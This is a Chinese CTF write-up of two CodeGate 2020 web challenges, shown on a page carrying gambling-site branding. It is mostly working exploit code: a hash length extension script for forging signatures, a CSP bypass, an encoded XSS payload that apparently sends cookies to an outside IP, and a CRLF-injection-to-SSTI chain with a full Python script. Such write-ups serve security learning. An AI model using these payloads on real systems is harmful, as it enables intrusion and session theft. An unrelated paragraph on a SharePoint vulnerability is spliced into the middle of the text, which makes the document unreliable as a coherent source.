欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_安全预警正文

2020 CodeGate Web Writeup

b9e08c31ae1faa592020-02-1060技术

0x00 前言 周末打了一下韩国的比赛codegate,惨惨,虽然没啥输出,但记录下唯一2道web的题解。 0x01 CSP 随手尝试:

110.10.147.166/view.php?name=123&p1=456&p2=789
得到如下url:
/api.php?sig=43bb08065a4d2217ca3881e93c65276b&q=TVRJeixORFUyLE56ZzU=
不难发现,view.php的功能,是帮助我们把name、p1、p2转化格式后,发送给api.php。 其中q的值为:

2020 CodeGate Web Writeup  技术 第1张

同时存在一个report功能:

2020 CodeGate Web Writeup  技术 第2张

如果把api.php的payload传过去,就能触发XSS,但是考虑到题目有CSP:
Content-Security-Policy: default-src 'self'; script-src 'none'; base-uri 'none';
显然需要bypass CSP,此时我们关注到api.php的代码实现:  
$apis = explode("|", $api_string);
foreach($apis as $s) {
    $info = explode(",", $s);
    if(count($info) != 3)
        continue;
    $n = base64_decode($info[0]);
    $p1 = base64_decode($info[1]);
    $p2 = base64_decode($info[2]);
    if ($n === "header") {
        if(strlen($p1) > 10)
            continue;
        if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
            continue;
        header("$p1: $p2");
    }
    elseif ($n === "cookie") {
        setcookie($p1, $p2);
    }
    elseif ($n === "body") {
        if(preg_match("/
我们可以利用header进行bypass csp,但是需要同时对body传入exp,而view.php只能处理单个元组,不能同时为我们签名header和body:
header,p1(b64),p2(b64)|body,p1(b64),p2(b64) ...
所以我们需要自己根据算法构造sig,考虑到api.php的检测方式:  
if(!isset($_GET["q"]) || !isset($_GET["sig"])) {
    die("?");
}
$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];
if(md5($salt.$api_string) !== $sig){
    die("??");
}
发现我们可以尝试hash长度拓展攻击,首先我们已有一个元组和签名:  
name=123,p1=456,p2=789
sig=43bb08065a4d2217ca3881e93c65276b
但是我们未知salt的长度,那么需要进行爆破:  
import requests
import hashpumpy
import base64
old_sig = "43bb08065a4d2217ca3881e93c65276b"
old_data = "MTIz,NDU2,Nzg5" , 123 456 789
url = "http://110.10.147.166/api.php?sig=%s&q=%s"
for i in range(1, 50):
    result = hashpumpy.hashpump(old_sig, old_data, "|Nzg5,NDU2,MTIz", i)  , 789 456 123
    new_sig = result[0]
    new_data = base64.b64encode(result[1])
    now_url = url % (new_sig,new_data)
    r = requests.get(now_url)
    if '??' not in r.content:
    print i
    break
运行可得,salt长度为12。 那么此时可以并行构造header和body,但是如何bypass csp呢? 由于不擅XSS,赛后请教了一下Melody师傅,得知可用404进行bypass:

2020 CodeGate Web Writeup  技术 第3张

参考link:
http://www.yulegeyu.com/2018/07/15/CSP-unsafe-inline%E6%97%B6-%E5%BC%95%E5%85%A5%E5%A4%96%E9%83%A8js/

2020 CodeGate Web Writeup  技术 第4张

得到:
/api.php?sig=fa74cda5bdd2f4da4170e064a5462449&q=YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWag==

2020 CodeGate Web Writeup  技术 第5张

构造:  
import requests
import hashpumpy
import base64
def gen_exp(a,b,c):
return base64.b64encode(a)+','+base64.b64encode(b)+','+base64.b64encode(c)
old_sig = "fa74cda5bdd2f4da4170e064a5462449"
old_data = base64.b64decode('YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWag==')  ,header,HTTP/1 404,skysec
url = "http://110.10.147.166/api.php?sig=%s&q=%s"
a = 'body'
b = ''''''
c = ''
exp = '|'+gen_exp(a,b,c)
result = hashpumpy.hashpump(old_sig, old_data, exp, 12)
new_sig = result[0]
new_data = base64.b64encode(result[1])
now_url = url % (new_sig,new_data)
print now_url
得到exp:
http://110.10.147.166/api.php?sig=812ada09f5d2713a436156061126977d&q=YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWaoAAAAAAAAAAAABwAQAAAAAAAHxZbTlrZVE9PSxQR2x0WnlCemNtTTllQ0J2Ym1WeWNtOXlQU0pzYjJOaGRHbHZiaTVvY21WbVBTY3ZMekV3Tmk0eE5DNHhNVFF1TVRJM09qSXpNek0wTHo5alBTY3JaWE5qWVhCbEtHUnZZM1Z0Wlc1MExtTnZiMnRwWlNrN0lnbyss

2020 CodeGate Web Writeup  技术 第6张

得到flag: CODEGATE2020{CSP_m34n5_Content-Success-Policy_n0t_Security} 0x02 renderer XFF可控

2020 CodeGate Web Writeup  技术 第7张

题目给予了一个路由,尝试访问后发现,XFF可控: 但是fuzz后发现,好像并不能直接利用。
CVE-2020-0646:SharePoint 远程代码执行漏洞分析 0x01  漏洞描述 2019年11月向Microsoft报告了通过workflows代码注入漏洞在SharePoint Online中可以进行远程代码执行的漏洞漏洞,该漏洞已经Online平台上得到了解决。但是,漏洞主要是2020年1月在.NET Framework中进行了修补。因此,2020年1月没有修补的SharePoint .NET程序内部版本仍然会受到影响。 当IIS支持.XOML扩展名时,在文件上传过程中也可能利用此漏洞。 尽管此漏洞的影响与以下先前确定的漏洞相同,因为它们都影响相同的模块,但是它使用了不同的技术,并且不会绕过补丁程序: · https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protectio
CRLF注入 后续关注到题目给予了dockerfile:  
FROM python:2.7.16
ENV FLAG CODEGATE2020{**DELETED**}
RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi
ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf
ADD prob_src/static /home/static
RUN chmod 777 /home/static
RUN mkdir /home/tickets
RUN chmod 777 /home/tickets
ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh
ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh
CMD ["/bin/bash", "/home/run.sh"]
同时注意到其用urllib完成了request功能:

2020 CodeGate Web Writeup  技术 第8张

那么尝试使用CVE,探测是否存在CRLF注入:CVE-2019-9947,发现其漏洞范围为2.x ~ 2.7.16刚好符合dockerfile中的版本号,于是进行尝试:
http://[vps-ip]:23333?%0d%0apayload%0d%0apadding

2020 CodeGate Web Writeup  技术 第9张

发现确实存在CRLF注入攻击。 进一步尝试,利用CLRF注入,访问题目的whatismyip功能:

2020 CodeGate Web Writeup  技术 第10张

发现确实可以进行127.0.0.1的伪造访问,并且可控XFF,但陷入僵局。 目录穿越 赛后得知,题目可以进行目录穿越,进行任意文件下载:
http://58.229.253.144/static../src/app/routes.py
审计代码发现:  
@front.route("/admin", methods=["GET"])
def admin_access():
    ip = get_ip()
    rip = get_real_ip()
    if ip not in ["127.0.0.1", "127.0.0.2"]: ,super private ip :)
        abort(403)
    if ip != rip: ,if use proxy
        ticket = write_log(rip)
        return render_template("admin_remote.html", ticket = ticket)
    else:
        if ip == "127.0.0.2" and request.args.get("body"):
            ticket = write_extend_log(rip, request.args.get("body"))
            return render_template("admin_local.html", ticket = ticket)
        else:
            return render_template("admin_local.html", ticket = None)
我们可以利用其中代码对log写入内容:
  if ip != rip: ,if use proxy
        ticket = write_log(rip)
        return render_template("admin_remote.html", ticket = ticket)
而跟进rip,其赋值来自于:
rip = get_real_ip()
跟进函数实现:  
def get_real_ip():
    return request.headers.get("X-Forwarded-For") or get_ip()
发现可用XFF控制写入log内容。 跟进write_log:  
def write_log(rip):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
    with open("/home/tickets/%s" % tid, "w") as f:
        log_str = "Admin page accessed from %s" % rip
        f.write(log_str)
    
    return tid
故此,可以尝试在/admin路由,利用XFF写入文件,同时会返回其ticket:
url=http://127.0.0.1/renderer/admin+HTTP/1.1%0aX-Forwarded-For: {{1+1}}%0a

2020 CodeGate Web Writeup  技术 第11张

而后,利用/admin/ticket读取文件,触发ssti:  
def admin_ticket():
    ip = get_ip()
    rip = get_real_ip()
    if ip != rip: ,proxy doesn't allow to show ticket
        print 1
        abort(403)
    if ip not in ["127.0.0.1", "127.0.0.2"]: ,only local
        print 2
        abort(403)
    if request.headers.get("User-Agent") != "AdminBrowser/1.337":
        print request.headers.get("User-Agent")
        abort(403)
    
    if request.args.get("ticket"):
        log = read_log(request.args.get("ticket"))
        if not log:
            print 4
            abort(403)
        return render_template_string(log)
构造exp如下:
url = http://127.0.0.1/renderer/admin/ticket?ticket=c0105720c3cd521aadd35064b24db9699b2bc646+HTTP/1.1%0aUser-Agent: AdminBrowser/1.337%0aX-Forwarded-For: 127.0.0.1%0aA: B%0a

2020 CodeGate Web Writeup  技术 第12张

测试发现,确实可以伪造http header。但是此处存在一个问题,即UA覆盖,最下面的UA,会覆盖我们上面的UA,所以得Connection: close。
url = http://127.0.0.1/renderer/admin/ticket?ticket=c0105720c3cd521aadd35064b24db9699b2bc646 HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: AdminBrowser/1.337%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aConnection: close%0d%0a%0d%0askycool

2020 CodeGate Web Writeup  技术 第13张

即可触发ssti:  
    if request.args.get("ticket"):
        log = read_log(request.args.get("ticket"))
        if not log:
            print 4
            abort(403)
        return render_template_string(log)
发现flag位置:
ENV FLAG CODEGATE2020{**DELETED**}
exp如下:  
import requests
import urllib
url = 'http://58.229.253.144/renderer/'
payload1 = '''http://127.0.0.1/renderer/admin HTTP/1.1%%0d%%0aX-Forwarded-For: %s%%0d%%0a'''
payload2 = '''http://127.0.0.1/renderer/admin/ticket?ticket=%s HTTP/1.1%%0d%%0aHost: 127.0.0.1%%0d%%0aUser-Agent: AdminBrowser/1.337%%0d%%0aX-Forwarded-For: 127.0.0.1%%0d%%0aConnection: close%%0d%%0a%%0d%%0askycool'''
ssti_payload = '''{{config}}'''
exp1 = payload1 % ssti_payload
data = {
'url':urllib.unquote(exp1)
}
r = requests.post(url=url,data=data)
ticket = r.content[1652:1692]
exp2 = payload2%ticket
data = {
'url':urllib.unquote(exp2)
}
r = requests.post(url=url,data=data)
print r.content
运行即可拿到flag: CODEGATE2020{CrLfMakesLocalGreatAgain} 0x03 后记 还是太菜了,这次没啥输出,又没打进决赛。和国际赛的差距果然很大= =。 本文为 一叶飘零 原创稿件,授权嘶吼独家发布,